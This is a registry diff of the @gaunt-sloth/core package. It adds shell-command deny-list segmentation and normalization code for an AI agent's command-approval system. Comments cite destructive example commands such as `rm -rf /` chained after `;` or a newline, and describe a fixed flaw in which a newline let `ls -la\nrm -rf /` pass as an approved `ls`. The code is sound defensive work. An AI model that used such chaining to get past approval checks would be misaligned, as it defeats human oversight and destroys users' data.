@gaunt-sloth/core 2.0.0-alpha.23 → 2.0.0-alpha.25
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +43 -18
- package/dist/config/colour.d.ts +38 -0
- package/dist/config/colour.js +36 -0
- package/dist/config/colour.js.map +1 -0
- package/dist/config/defaults.d.ts +6 -7
- package/dist/config/defaults.js +4 -8
- package/dist/config/defaults.js.map +1 -1
- package/dist/config/loader.d.ts +50 -3
- package/dist/config/loader.js +345 -29
- package/dist/config/loader.js.map +1 -1
- package/dist/config/mouse.d.ts +50 -0
- package/dist/config/mouse.js +44 -0
- package/dist/config/mouse.js.map +1 -0
- package/dist/config/profiles.d.ts +68 -0
- package/dist/config/profiles.js +93 -0
- package/dist/config/profiles.js.map +1 -0
- package/dist/config/schema.d.ts +2441 -116
- package/dist/config/schema.js +930 -19
- package/dist/config/schema.js.map +1 -1
- package/dist/config/shell-policy.d.ts +466 -116
- package/dist/config/shell-policy.js +273 -62
- package/dist/config/shell-policy.js.map +1 -1
- package/dist/config/tool-descriptions.d.ts +165 -0
- package/dist/config/tool-descriptions.js +229 -0
- package/dist/config/tool-descriptions.js.map +1 -0
- package/dist/config/types.d.ts +139 -6
- package/dist/config/types.js.map +1 -1
- package/dist/config.d.ts +4 -0
- package/dist/config.js +4 -0
- package/dist/config.js.map +1 -1
- package/dist/core/GthAbstractAgent.d.ts +85 -2
- package/dist/core/GthAbstractAgent.js +194 -1
- package/dist/core/GthAbstractAgent.js.map +1 -1
- package/dist/core/GthAgentRunner.d.ts +341 -58
- package/dist/core/GthAgentRunner.js +857 -149
- package/dist/core/GthAgentRunner.js.map +1 -1
- package/dist/core/GthLangChainAgent.d.ts +99 -0
- package/dist/core/GthLangChainAgent.js +388 -3
- package/dist/core/GthLangChainAgent.js.map +1 -1
- package/dist/core/approvals/annotations.d.ts +122 -0
- package/dist/core/approvals/annotations.js +137 -0
- package/dist/core/approvals/annotations.js.map +1 -0
- package/dist/core/approvals/grants.d.ts +216 -0
- package/dist/core/approvals/grants.js +469 -0
- package/dist/core/approvals/grants.js.map +1 -0
- package/dist/core/approvals/matcher.d.ts +202 -0
- package/dist/core/approvals/matcher.js +267 -0
- package/dist/core/approvals/matcher.js.map +1 -0
- package/dist/core/approvals/mcpSubjects.d.ts +40 -0
- package/dist/core/approvals/mcpSubjects.js +99 -0
- package/dist/core/approvals/mcpSubjects.js.map +1 -0
- package/dist/core/approvals/toolAnnotationSources.d.ts +105 -0
- package/dist/core/approvals/toolAnnotationSources.js +277 -0
- package/dist/core/approvals/toolAnnotationSources.js.map +1 -0
- package/dist/core/approvals/toolHost.d.ts +46 -0
- package/dist/core/approvals/toolHost.js +108 -0
- package/dist/core/approvals/toolHost.js.map +1 -0
- package/dist/core/debugCapture.d.ts +16 -0
- package/dist/core/debugCapture.js.map +1 -1
- package/dist/core/launchBanner.d.ts +120 -0
- package/dist/core/launchBanner.js +399 -0
- package/dist/core/launchBanner.js.map +1 -0
- package/dist/core/plainToolIndication.js +61 -35
- package/dist/core/plainToolIndication.js.map +1 -1
- package/dist/core/refusal.d.ts +53 -0
- package/dist/core/refusal.js +129 -0
- package/dist/core/refusal.js.map +1 -0
- package/dist/core/shell/approvalStop.d.ts +75 -0
- package/dist/core/shell/approvalStop.js +108 -0
- package/dist/core/shell/approvalStop.js.map +1 -0
- package/dist/core/shell/arity.d.ts +6 -0
- package/dist/core/shell/arity.js +20 -6
- package/dist/core/shell/arity.js.map +1 -1
- package/dist/core/shell/denylist.d.ts +11 -0
- package/dist/core/shell/denylist.js +37 -0
- package/dist/core/shell/denylist.js.map +1 -0
- package/dist/core/shell/normalize.d.ts +41 -1
- package/dist/core/shell/normalize.js +58 -4
- package/dist/core/shell/normalize.js.map +1 -1
- package/dist/core/shell/openWorld.d.ts +138 -0
- package/dist/core/shell/openWorld.js +523 -0
- package/dist/core/shell/openWorld.js.map +1 -0
- package/dist/core/shell/rater.d.ts +560 -0
- package/dist/core/shell/rater.js +895 -0
- package/dist/core/shell/rater.js.map +1 -0
- package/dist/core/shell/raterModel.d.ts +41 -0
- package/dist/core/shell/raterModel.js +51 -0
- package/dist/core/shell/raterModel.js.map +1 -0
- package/dist/core/shell/rejection.d.ts +66 -0
- package/dist/core/shell/rejection.js +38 -0
- package/dist/core/shell/rejection.js.map +1 -0
- package/dist/core/toolCallRepair/grammar.d.ts +41 -0
- package/dist/core/toolCallRepair/grammar.js +116 -0
- package/dist/core/toolCallRepair/grammar.js.map +1 -0
- package/dist/core/toolCallRepair/index.d.ts +2 -0
- package/dist/core/toolCallRepair/index.js +7 -0
- package/dist/core/toolCallRepair/index.js.map +1 -0
- package/dist/core/toolCallRepair/payload.d.ts +36 -0
- package/dist/core/toolCallRepair/payload.js +341 -0
- package/dist/core/toolCallRepair/payload.js.map +1 -0
- package/dist/core/toolCallRepair/promote.d.ts +45 -0
- package/dist/core/toolCallRepair/promote.js +90 -0
- package/dist/core/toolCallRepair/promote.js.map +1 -0
- package/dist/core/toolDisplay.d.ts +14 -1
- package/dist/core/toolDisplay.js +69 -12
- package/dist/core/toolDisplay.js.map +1 -1
- package/dist/core/toolOutputChannel.d.ts +33 -6
- package/dist/core/toolOutputChannel.js +61 -8
- package/dist/core/toolOutputChannel.js.map +1 -1
- package/dist/core/types.d.ts +71 -9
- package/dist/core/types.js.map +1 -1
- package/dist/providers/geminiSchemaSanitizer.d.ts +6 -3
- package/dist/providers/geminiSchemaSanitizer.js +152 -6
- package/dist/providers/geminiSchemaSanitizer.js.map +1 -1
- package/dist/providers/modelDiscovery.d.ts +18 -4
- package/dist/providers/modelDiscovery.js +67 -17
- package/dist/providers/modelDiscovery.js.map +1 -1
- package/dist/providers/openai.js +34 -0
- package/dist/providers/openai.js.map +1 -1
- package/dist/runtime/askStructured.d.ts +8 -7
- package/dist/runtime/askStructured.js +8 -7
- package/dist/runtime/askStructured.js.map +1 -1
- package/dist/runtime/conversation.js +89 -76
- package/dist/runtime/conversation.js.map +1 -1
- package/dist/runtime/singleShot.js +71 -60
- package/dist/runtime/singleShot.js.map +1 -1
- package/dist/utils/ProgressIndicator.d.ts +21 -0
- package/dist/utils/ProgressIndicator.js +30 -3
- package/dist/utils/ProgressIndicator.js.map +1 -1
- package/dist/utils/consoleUtils.d.ts +30 -0
- package/dist/utils/consoleUtils.js +27 -2
- package/dist/utils/consoleUtils.js.map +1 -1
- package/dist/utils/crashHandler.d.ts +87 -0
- package/dist/utils/crashHandler.js +128 -0
- package/dist/utils/crashHandler.js.map +1 -0
- package/dist/utils/debugDump.d.ts +58 -0
- package/dist/utils/debugDump.js +149 -15
- package/dist/utils/debugDump.js.map +1 -1
- package/dist/utils/llmUtils.d.ts +22 -8
- package/dist/utils/llmUtils.js +48 -8
- package/dist/utils/llmUtils.js.map +1 -1
- package/dist/utils/redactSecrets.js +68 -20
- package/dist/utils/redactSecrets.js.map +1 -1
- package/dist/utils/systemUtils.d.ts +17 -0
- package/dist/utils/systemUtils.js +17 -0
- package/dist/utils/systemUtils.js.map +1 -1
- package/package.json +5 -2
- package/schema/gsloth-config.schema.json +1484 -466
- package/dist/core/shell/allowlist.d.ts +0 -75
- package/dist/core/shell/allowlist.js +0 -187
- package/dist/core/shell/allowlist.js.map +0 -1
- package/dist/core/shell/judge.d.ts +0 -161
- package/dist/core/shell/judge.js +0 -261
- package/dist/core/shell/judge.js.map +0 -1
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"arity.js","sourceRoot":"","sources":["../../../src/core/shell/arity.ts"],"names":[],"mappings":"AAAA
|
|
1
|
+
{"version":3,"file":"arity.js","sourceRoot":"","sources":["../../../src/core/shell/arity.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Split a raw command into the segments a shell would run, normalized and **case preserved**.
|
|
3
|
+
*
|
|
4
|
+
* Substitution bodies are segments in their own right: `echo $(npm publish)` runs `npm publish`,
|
|
5
|
+
* so a deny entry for `npm publish` must see it. Splitting on `$(`, `` ` `` and `)` yields the
|
|
6
|
+
* body as its own segment (and leaves harmless empty fragments, which are dropped).
|
|
7
|
+
*
|
|
8
|
+
* Case is preserved because the matcher folds it per list and per matcher — a `regexp` entry is
|
|
9
|
+
* compiled exactly as the user wrote it, and folding here would decide that for it.
|
|
10
|
+
*/
|
|
11
|
+
export declare function commandSegments(command: string): string[];
|
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @module core/shell/denylist
|
|
3
|
+
*
|
|
4
|
+
* **Command segmentation** — splitting a command into every command a shell would actually run.
|
|
5
|
+
*
|
|
6
|
+
* This is what lets a restrictive rule (`deny`, `escalate`) see inside a compound command. The
|
|
7
|
+
* asymmetry it serves lives in `core/approvals/matcher.ts`, which is the one comparison engine:
|
|
8
|
+
*
|
|
9
|
+
* - **No allow entry matches a command that does not statically resolve.** Composition,
|
|
10
|
+
* substitution and redirection are a non-match for every allow entry, so a grant can never be
|
|
11
|
+
* extended with a `; rm -rf /`.
|
|
12
|
+
* - **A deny or escalate entry MAY match one**, and is compared against every segment as well as
|
|
13
|
+
* the whole string, because a prohibition that catches something unresolvable errs in the
|
|
14
|
+
* direction that costs nothing. Without that, `git push --force; ls` would sail straight past a
|
|
15
|
+
* declared deny entry for `git push --force` — a prohibition any trailing `; ls` defeats is not a
|
|
16
|
+
* prohibition.
|
|
17
|
+
*/
|
|
18
|
+
import { COMMAND_SEPARATOR_CLASS, normalizeCommand } from '#src/core/shell/normalize.js';
|
|
19
|
+
/** Splits the normalized command at every point where a shell would begin a NEW command. */
|
|
20
|
+
const SEGMENT_SPLIT_RE = new RegExp(`[${COMMAND_SEPARATOR_CLASS}]|\\$\\(|\\)|\``, 'g');
|
|
21
|
+
/**
|
|
22
|
+
* Split a raw command into the segments a shell would run, normalized and **case preserved**.
|
|
23
|
+
*
|
|
24
|
+
* Substitution bodies are segments in their own right: `echo $(npm publish)` runs `npm publish`,
|
|
25
|
+
* so a deny entry for `npm publish` must see it. Splitting on `$(`, `` ` `` and `)` yields the
|
|
26
|
+
* body as its own segment (and leaves harmless empty fragments, which are dropped).
|
|
27
|
+
*
|
|
28
|
+
* Case is preserved because the matcher folds it per list and per matcher — a `regexp` entry is
|
|
29
|
+
* compiled exactly as the user wrote it, and folding here would decide that for it.
|
|
30
|
+
*/
|
|
31
|
+
export function commandSegments(command) {
|
|
32
|
+
return normalizeCommand(command)
|
|
33
|
+
.split(SEGMENT_SPLIT_RE)
|
|
34
|
+
.map((segment) => segment.trim())
|
|
35
|
+
.filter((segment) => segment.length > 0);
|
|
36
|
+
}
|
|
37
|
+
//# sourceMappingURL=denylist.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"denylist.js","sourceRoot":"","sources":["../../../src/core/shell/denylist.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;GAgBG;AACH,OAAO,EAAE,uBAAuB,EAAE,gBAAgB,EAAE,MAAM,8BAA8B,CAAC;AAEzF,4FAA4F;AAC5F,MAAM,gBAAgB,GAAG,IAAI,MAAM,CAAC,IAAI,uBAAuB,iBAAiB,EAAE,GAAG,CAAC,CAAC;AAEvF;;;;;;;;;GASG;AACH,MAAM,UAAU,eAAe,CAAC,OAAe;IAC7C,OAAO,gBAAgB,CAAC,OAAO,CAAC;SAC7B,KAAK,CAAC,gBAAgB,CAAC;SACvB,GAAG,CAAC,CAAC,OAAO,EAAE,EAAE,CAAC,OAAO,CAAC,IAAI,EAAE,CAAC;SAChC,MAAM,CAAC,CAAC,OAAO,EAAE,EAAE,CAAC,OAAO,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;AAC7C,CAAC"}
|
|
@@ -10,6 +10,34 @@
|
|
|
10
10
|
*
|
|
11
11
|
* Patterned after hermes-agent `tools/approval.py:_normalize_command_for_detection`.
|
|
12
12
|
*/
|
|
13
|
+
/**
|
|
14
|
+
* SECURITY / EXT-55 — the single source of truth for **where a new command begins**.
|
|
15
|
+
*
|
|
16
|
+
* This is a regex character-class BODY (embed it as `` `[${COMMAND_SEPARATOR_CLASS}]` ``) listing
|
|
17
|
+
* every character at which the shell stops one command and starts the next: `;`, `&` (hence
|
|
18
|
+
* `&&`), `|` (hence `||`), and a LINE BREAK. Both consumers of the normalized form build their
|
|
19
|
+
* patterns from it — the allow-list classifier's fail-closed check
|
|
20
|
+
* ({@link import('./arity.js').classifyCommand}) and the agent hardline blocklist's pattern
|
|
21
|
+
* terminators (`@gaunt-sloth/agent` `tools/shell/hardline`) — so the two layers can never again
|
|
22
|
+
* disagree about what a separator is.
|
|
23
|
+
*
|
|
24
|
+
* The layers disagreed before EXT-55: `;`/`&&`/`|` made a command ambiguous (fail-closed) but a
|
|
25
|
+
* newline did not, because {@link normalizeCommand} folded it to a SPACE. `ls -la\nrm -rf /` was
|
|
26
|
+
* therefore classified as the single command `ls`, and an ordinary `ls` grant auto-approved it.
|
|
27
|
+
*
|
|
28
|
+
* `\r` is listed defensively: {@link normalizeCommand} canonicalizes CR/CRLF to LF, so a
|
|
29
|
+
* normalized string never contains one — but a pattern matched against a RAW command still fails
|
|
30
|
+
* closed.
|
|
31
|
+
*/
|
|
32
|
+
export declare const COMMAND_SEPARATOR_CLASS = ";&|\\n\\r";
|
|
33
|
+
/** {@link COMMAND_SEPARATOR_CLASS} as a ready-made single-character matcher. */
|
|
34
|
+
export declare const COMMAND_SEPARATOR_RE: RegExp;
|
|
35
|
+
/**
|
|
36
|
+
* Matches any line break — the separator {@link normalizeCommand} used to destroy (EXT-55).
|
|
37
|
+
* Exported so a caller can ask "is this more than one command?" of a RAW string without
|
|
38
|
+
* depending on someone else's normalizer having preserved the boundary.
|
|
39
|
+
*/
|
|
40
|
+
export declare const LINE_BREAK_RE: RegExp;
|
|
13
41
|
/**
|
|
14
42
|
* Normalize a command string before dangerous-pattern matching.
|
|
15
43
|
*
|
|
@@ -17,9 +45,21 @@
|
|
|
17
45
|
* - strip ANSI escape sequences (CSI / OSC / lone-escape),
|
|
18
46
|
* - drop null bytes,
|
|
19
47
|
* - Unicode NFKC fold (fullwidth `rm` → `rm`, etc.),
|
|
48
|
+
* - canonicalize every line ending (CRLF / lone CR) to a bare `\n`,
|
|
20
49
|
* - collapse shell backslash-escapes (`r\m` → `rm`, `\-rf` → `-rf`),
|
|
21
50
|
* - drop empty-string literals that split tokens (`r''m` / `r""m` → `rm`),
|
|
22
|
-
* - fold runs of whitespace (
|
|
51
|
+
* - fold runs of HORIZONTAL whitespace (spaces/tabs) to single spaces,
|
|
52
|
+
* - collapse each run of line breaks to a single `\n` — **which survives**, because a line break
|
|
53
|
+
* is a command separator, not padding (EXT-55) — and trim the ends.
|
|
54
|
+
*
|
|
55
|
+
* EXT-55: the last two steps used to be one `\s+ → ' '` fold, which erased the command boundary
|
|
56
|
+
* and let `ls -la\nrm -rf /` be read as the single command `ls`. A line break now reaches every
|
|
57
|
+
* consumer intact, exactly like `;`. Leading/trailing breaks are still trimmed, so the very
|
|
58
|
+
* common `"npm test\n"` tool argument remains ONE command and keeps matching the allow-list.
|
|
59
|
+
*
|
|
60
|
+
* A backslash before a line break (a shell line continuation) is deliberately NOT joined: folding
|
|
61
|
+
* it away would re-open the same hole for `ls \<newline>rm -rf /`. Keeping the boundary makes such
|
|
62
|
+
* a command categorically ambiguous, which costs a prompt, not a failure.
|
|
23
63
|
*
|
|
24
64
|
* This is intentionally lossy: the normalized form is ONLY used for detection,
|
|
25
65
|
* never for execution (the original command is what runs).
|
|
@@ -19,6 +19,40 @@ const ANSI_OSC = /\x1b\][\s\S]*?(?:\x07|\x1b\\)/g;
|
|
|
19
19
|
const ANSI_LONE = /\x1b[@-Z\\-_]?/g;
|
|
20
20
|
// Null bytes.
|
|
21
21
|
const NULL_BYTES = /\x00/g;
|
|
22
|
+
// Any line ending — CRLF, a lone CR, or a lone LF. Canonicalized to `\n` by normalizeCommand.
|
|
23
|
+
const LINE_ENDINGS = /\r\n?/g;
|
|
24
|
+
// A run of HORIZONTAL whitespace: whitespace that is not a line break (spaces, tabs, NBSP, …).
|
|
25
|
+
const HORIZONTAL_WS = /[^\S\n]+/g;
|
|
26
|
+
// A run of line breaks together with any whitespace around it.
|
|
27
|
+
const LINE_BREAK_RUN = /\s*\n\s*/g;
|
|
28
|
+
/**
|
|
29
|
+
* SECURITY / EXT-55 — the single source of truth for **where a new command begins**.
|
|
30
|
+
*
|
|
31
|
+
* This is a regex character-class BODY (embed it as `` `[${COMMAND_SEPARATOR_CLASS}]` ``) listing
|
|
32
|
+
* every character at which the shell stops one command and starts the next: `;`, `&` (hence
|
|
33
|
+
* `&&`), `|` (hence `||`), and a LINE BREAK. Both consumers of the normalized form build their
|
|
34
|
+
* patterns from it — the allow-list classifier's fail-closed check
|
|
35
|
+
* ({@link import('./arity.js').classifyCommand}) and the agent hardline blocklist's pattern
|
|
36
|
+
* terminators (`@gaunt-sloth/agent` `tools/shell/hardline`) — so the two layers can never again
|
|
37
|
+
* disagree about what a separator is.
|
|
38
|
+
*
|
|
39
|
+
* The layers disagreed before EXT-55: `;`/`&&`/`|` made a command ambiguous (fail-closed) but a
|
|
40
|
+
* newline did not, because {@link normalizeCommand} folded it to a SPACE. `ls -la\nrm -rf /` was
|
|
41
|
+
* therefore classified as the single command `ls`, and an ordinary `ls` grant auto-approved it.
|
|
42
|
+
*
|
|
43
|
+
* `\r` is listed defensively: {@link normalizeCommand} canonicalizes CR/CRLF to LF, so a
|
|
44
|
+
* normalized string never contains one — but a pattern matched against a RAW command still fails
|
|
45
|
+
* closed.
|
|
46
|
+
*/
|
|
47
|
+
export const COMMAND_SEPARATOR_CLASS = ';&|\\n\\r';
|
|
48
|
+
/** {@link COMMAND_SEPARATOR_CLASS} as a ready-made single-character matcher. */
|
|
49
|
+
export const COMMAND_SEPARATOR_RE = new RegExp(`[${COMMAND_SEPARATOR_CLASS}]`);
|
|
50
|
+
/**
|
|
51
|
+
